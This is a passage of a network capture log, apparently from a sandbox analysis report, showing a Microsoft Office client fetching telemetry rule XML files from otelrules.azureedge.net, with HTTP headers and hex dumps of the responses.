EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:44 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:45 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:45 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fdde8523-d01e-0028-578c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221145Z-174f78459685m244hC1EWRgp2c000000108000000000pc90 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:45 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:45 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:45 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:45 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e3ba4dff-401e-002a-1ea2-42c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221145Z-174f7845968pf68xhC1EWRr4h800000010u0000000007ew7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:45 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:45 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:46 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:45 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: af2f76df-f01e-0096-4850-4110ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221145Z-174f7845968swgbqhC1EWRmnb400000010tg000000000vpr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:46 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:45 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:46 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:46 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: f1905457-c01e-0066-4580-3fa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221146Z-174f7845968swgbqhC1EWRmnb400000010n000000000feue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:46 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:47 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:47 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:47 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 2ff5ce10-101e-0017-5791-3f47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221147Z-174f7845968psccphC1EWRuz9s00000010w00000000026p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:47 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:47 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:48 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:47 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f1763db6-d01e-007a-27fe-41f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221147Z-174f7845968xlwnmhC1EWR0sv8000000108g00000000mhay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:48 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:48 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:48 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:48 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b189b901-c01e-0079-3391-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221148Z-174f7845968glpgnhC1EWR7uec00000010m000000000n9gh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:48 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:48 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:48 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:48 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0b728e74-b01e-001e-55a2-420214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221148Z-174f78459684db9fhC1EWRc7g400000000dg000000002x8w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-29 22:11:48 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:49 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:49 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:49 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: f4671ffc-301e-0000-793a-40eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221149Z-174f7845968qj8jrhC1EWRh41s00000010gg000000006eav x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:49 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:49 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:50 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:49 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3a99e642-c01e-0049-2bdd-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221149Z-174f7845968n2hr8hC1EWR9cag000000107g000000004quc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:50 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:50 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:50 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:50 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 417f12c6-b01e-003e-571e-428e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221150Z-174f78459685m244hC1EWRgp2c00000010b000000000dm38 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:50 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:51 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:51 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:51 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: e52eaca9-401e-0064-32a1-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221151Z-174f7845968n2hr8hC1EWR9cag000000102000000000payd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
